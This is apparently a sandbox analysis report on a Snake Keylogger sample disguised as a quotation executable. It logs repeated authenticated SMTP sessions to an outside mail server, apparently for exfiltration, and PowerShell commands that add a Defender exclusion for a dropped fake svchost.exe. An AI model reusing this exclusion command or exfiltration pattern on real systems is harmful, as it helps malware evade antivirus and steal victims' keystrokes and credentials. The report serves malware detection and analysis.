Mar 3, 2021 07:34:50.644570112 CET	587	49840	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:50.952172995 CET	587	49841	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:35:08 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:50.953129053 CET	49841	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:51.104326010 CET	587	49841	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:51.104784012 CET	49841	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:51.256254911 CET	587	49841	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:51.415138960 CET	587	49841	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:51.417157888 CET	49841	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:51.568742990 CET	587	49841	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:51.572864056 CET	49841	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:51.729919910 CET	587	49841	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:51.731422901 CET	49841	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:51.883944035 CET	587	49841	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:51.884493113 CET	49841	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:52.046113968 CET	587	49841	35.208.150.174	192.168.2.4	250 OK id=1lHL6D-000HaP-9X
Mar 3, 2021 07:34:52.047055006 CET	49841	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:52.198472977 CET	587	49841	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:52.505955935 CET	587	49842	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:35:09 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:52.506129026 CET	49842	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:52.660554886 CET	587	49842	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:52.660903931 CET	49842	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:52.815453053 CET	587	49842	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:52.978348970 CET	587	49842	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:53.036539078 CET	49842	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:53.189856052 CET	587	49842	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:53.209475994 CET	49842	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:53.369354963 CET	587	49842	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:53.369673967 CET	49842	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:53.523797989 CET	587	49842	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:53.525279999 CET	49842	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:53.689161062 CET	587	49842	35.208.150.174	192.168.2.4	250 OK id=1lHL6E-000HaV-U7
Mar 3, 2021 07:34:53.689990997 CET	49842	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:53.843169928 CET	587	49842	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:54.149152994 CET	587	49843	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:35:11 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:54.282416105 CET	49843	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:54.433587074 CET	587	49843	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:54.434129953 CET	49843	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:54.585253000 CET	587	49843	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:54.744163036 CET	587	49843	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:54.744417906 CET	49843	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:54.895581961 CET	587	49843	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:54.895817041 CET	49843	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:55.051697016 CET	587	49843	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:55.431185007 CET	49843	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:55.582092047 CET	587	49843	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:55.652308941 CET	49843	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:55.811168909 CET	587	49843	35.208.150.174	192.168.2.4	250 OK id=1lHL6G-000Had-W4
Mar 3, 2021 07:34:55.812707901 CET	49843	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:55.963831902 CET	587	49843	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:56.271795988 CET	587	49844	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:35:13 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:56.272034883 CET	49844	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:56.425571918 CET	587	49844	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:56.425765038 CET	49844	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:56.578999996 CET	587	49844	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:56.741213083 CET	587	49844	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:56.741581917 CET	49844	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:56.897538900 CET	587	49844	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:56.897792101 CET	49844	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:57.057764053 CET	587	49844	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:57.057960987 CET	49844	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:57.210700035 CET	587	49844	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:57.211560965 CET	49844	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:57.372374058 CET	587	49844	35.208.150.174	192.168.2.4	250 OK id=1lHL6I-000Hal-K1
Mar 3, 2021 07:34:57.373661995 CET	49844	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:57.577372074 CET	587	49844	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:57.882127047 CET	587	49845	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:35:15 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:57.887849092 CET	49845	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:58.039181948 CET	587	49845	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:58.041667938 CET	49845	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:58.193905115 CET	587	49845	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:58.356935024 CET	587	49845	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:58.357927084 CET	49845	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:34:58.509547949 CET	587	49845	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:34:58.509916067 CET	49845	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:34:58.666127920 CET	587	49845	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:34:58.666390896 CET	49845	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:34:58.819977999 CET	587	49845	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:34:58.820545912 CET	49845	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:34:58.979617119 CET	587	49845	35.208.150.174	192.168.2.4	250 OK id=1lHL6K-000Hav-7T
Mar 3, 2021 07:34:58.980289936 CET	49845	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:34:59.131880999 CET	587	49845	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection
Mar 3, 2021 07:34:59.460275888 CET	587	49846	35.208.150.174	192.168.2.4	220-c13423.sgvps.net ESMTP #5 Wed, 03 Mar 2021 08:35:16 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Mar 3, 2021 07:34:59.460963011 CET	49846	587	192.168.2.4	35.208.150.174	EHLO 841675
Mar 3, 2021 07:34:59.623734951 CET	587	49846	35.208.150.174	192.168.2.4	250-c13423.sgvps.net Hello 841675 [84.17.52.78] 250-SIZE 52428800 250-8BITMIME 250-DSN 250-VRFY 250-AUTH LOGIN PLAIN 250-STARTTLS 250 HELP
Mar 3, 2021 07:34:59.624133110 CET	49846	587	192.168.2.4	35.208.150.174	AUTH login dGVzdEBsb290YWhwZXJmdW1lcy5jb20=
Mar 3, 2021 07:34:59.788136005 CET	587	49846	35.208.150.174	192.168.2.4	334 UGFzc3dvcmQ6
Mar 3, 2021 07:34:59.959078074 CET	587	49846	35.208.150.174	192.168.2.4	235 Authentication succeeded
Mar 3, 2021 07:34:59.959314108 CET	49846	587	192.168.2.4	35.208.150.174	MAIL FROM:<test@lootahperfumes.com>
Mar 3, 2021 07:35:00.122283936 CET	587	49846	35.208.150.174	192.168.2.4	250 OK
Mar 3, 2021 07:35:00.122529984 CET	49846	587	192.168.2.4	35.208.150.174	RCPT TO:<test@lootahperfumes.com>
Mar 3, 2021 07:35:00.290241003 CET	587	49846	35.208.150.174	192.168.2.4	250 Accepted
Mar 3, 2021 07:35:00.290431023 CET	49846	587	192.168.2.4	35.208.150.174	DATA
Mar 3, 2021 07:35:00.453241110 CET	587	49846	35.208.150.174	192.168.2.4	354 Enter message, ending with "." on a line by itself
Mar 3, 2021 07:35:00.454235077 CET	49846	587	192.168.2.4	35.208.150.174	.
Mar 3, 2021 07:35:00.627250910 CET	587	49846	35.208.150.174	192.168.2.4	250 OK id=1lHL6L-000Hb4-RY
Mar 3, 2021 07:35:00.627830982 CET	49846	587	192.168.2.4	35.208.150.174	QUIT
Mar 3, 2021 07:35:00.790875912 CET	587	49846	35.208.150.174	192.168.2.4	221 c13423.sgvps.net closing connection

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: REQUEST FOR QUOTATION 4675674665.exe PID: 6976 Parent PID: 5860

General

Start time:	07:32:31
Start date:	03/03/2021
Path:	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe'
Imagebase:	0x10000
File size:	18224 bytes
MD5 hash:	2B813B65A6036FC0FFE198DE47677F05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 1076 Parent PID: 568

General

Start time:	07:32:42
Start date:	03/03/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: powershell.exe PID: 4296 Parent PID: 6976

General

Start time:	07:32:53
Start date:	03/03/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' -Force
Imagebase:	0xf0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 4608 Parent PID: 4296

General

Start time:	07:32:54
Start date:	03/03/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 584 Parent PID: 6976

General

Start time:	07:32:54
Start date:	03/03/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\cmd.exe' /c timeout 1
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6896 Parent PID: 584

General

Start time:	07:32:54
Start date:	03/03/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: timeout.exe PID: 4480 Parent PID: 584

General

Start time:	07:32:54
Start date:	03/03/2021
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 1
Imagebase:	0x1290000
File size:	26112 bytes
MD5 hash:	121A4EDAE60A7AF6F5DFA82F7BB95659
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6264 Parent PID: 568

General

Start time:	07:32:59
Start date:	03/03/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: REQUEST FOR QUOTATION 4675674665.exe PID: 6000 Parent PID: 6976

General

Start time:	07:32:59
Start date:	03/03/2021
Path:	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe
Imagebase:	0x170000
File size:	18224 bytes
MD5 hash:	2B813B65A6036FC0FFE198DE47677F05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: REQUEST FOR QUOTATION 4675674665.exe PID: 1900 Parent PID: 6976

General

Start time:	07:33:00
Start date:	03/03/2021
Path:	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe
Imagebase:	0x2b0000
File size:	18224 bytes
MD5 hash:	2B813B65A6036FC0FFE198DE47677F05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: REQUEST FOR QUOTATION 4675674665.exe PID: 4936 Parent PID: 6976

General

Start time:	07:33:00
Start date:	03/03/2021
Path:	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe
Imagebase:	0x450000
File size:	18224 bytes
MD5 hash:	2B813B65A6036FC0FFE198DE47677F05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: REQUEST FOR QUOTATION 4675674665.exe PID: 4284 Parent PID: 6976

General

Start time:	07:33:00
Start date:	03/03/2021
Path:	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe
Imagebase:	0x20000
File size:	18224 bytes
MD5 hash:	2B813B65A6036FC0FFE198DE47677F05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_BedsObfuscator, Description: Yara detected Beds Obfuscator, Source: 0000000F.00000002.918746756.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000F.00000002.918746756.0000000000402000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 4240 Parent PID: 568

General

Start time:	07:33:01
Start date:	03/03/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 1664 Parent PID: 4240

General

Start time:	07:33:02
Start date:	03/03/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6976 -ip 6976
Imagebase:	0xaa0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 1496 Parent PID: 6976

General

Start time:	07:33:03
Start date:	03/03/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6976 -s 2608
Imagebase:	0xaa0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: explorer.exe PID: 1472 Parent PID: 3424

General

Start time:	07:33:05
Start date:	03/03/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\explorer.exe' 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe'
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: explorer.exe PID: 5660 Parent PID: 800

General

Start time:	07:33:08
Start date:	03/03/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 4556 Parent PID: 5660

General

Start time:	07:33:10
Start date:	03/03/2021
Path:	C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe'
Imagebase:	0x3b0000
File size:	18224 bytes
MD5 hash:	2B813B65A6036FC0FFE198DE47677F05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 23%, ReversingLabs

Chronological Activities

Analysis Process: explorer.exe PID: 1584 Parent PID: 3424

General

Start time:	07:33:14
Start date:	03/03/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\explorer.exe' 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe'
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: explorer.exe PID: 3840 Parent PID: 800

General

Start time:	07:33:15
Start date:	03/03/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 1424 Parent PID: 3840

General

Start time:	07:33:17
Start date:	03/03/2021
Path:	C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe'
Imagebase:	0x3a0000
File size:	18224 bytes
MD5 hash:	2B813B65A6036FC0FFE198DE47677F05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_BedsObfuscator, Description: Yara detected Beds Obfuscator, Source: 00000018.00000002.943797908.000000000406C000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000018.00000002.943797908.000000000406C000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: svchost.exe PID: 6552 Parent PID: 568

General

Start time:	07:33:17
Start date:	03/03/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 5508 Parent PID: 568

General

Start time:	07:33:32
Start date:	03/03/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: powershell.exe PID: 5520 Parent PID: 4556

General

Start time:	07:34:09
Start date:	03/03/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' -Force
Imagebase:	0xf0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: conhost.exe PID: 5332 Parent PID: 5520

General

Start time:	07:34:09
Start date:	03/03/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5044 Parent PID: 4556

General

Start time:	07:34:10
Start date:	03/03/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\cmd.exe' /c timeout 1
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 4864 Parent PID: 5044

General

Start time:	07:34:10
Start date:	03/03/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: powershell.exe PID: 1836 Parent PID: 1424

General

Start time:	07:34:11
Start date:	03/03/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' -Force
Imagebase:	0xf0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: timeout.exe PID: 4260 Parent PID: 5044

General

Start time:	07:34:11
Start date:	03/03/2021
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout 1
Imagebase:	0x1290000
File size:	26112 bytes
MD5 hash:	121A4EDAE60A7AF6F5DFA82F7BB95659
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6336 Parent PID: 1836

General

Start time:	07:34:11
Start date:	03/03/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: REQUEST FOR QUOTATION 4675674665.exe PID: 6976 Parent PID: 5860 REQUEST FOR QUOTATION 4675674665.exeCOMMON

Executed Functions

Function 00B2D004, Relevance: .2, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.821239891.0000000000B20000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 2ca4d7e2eee3c0053ff80a07ec8ef862dc2e16e1df9d4259cb34a4d80394a61c
Instruction ID: 6793f15ffeb8f962f1fdd656a6a3245a2c8454c8d2ddc2fa1452d3de3d6c1e6a
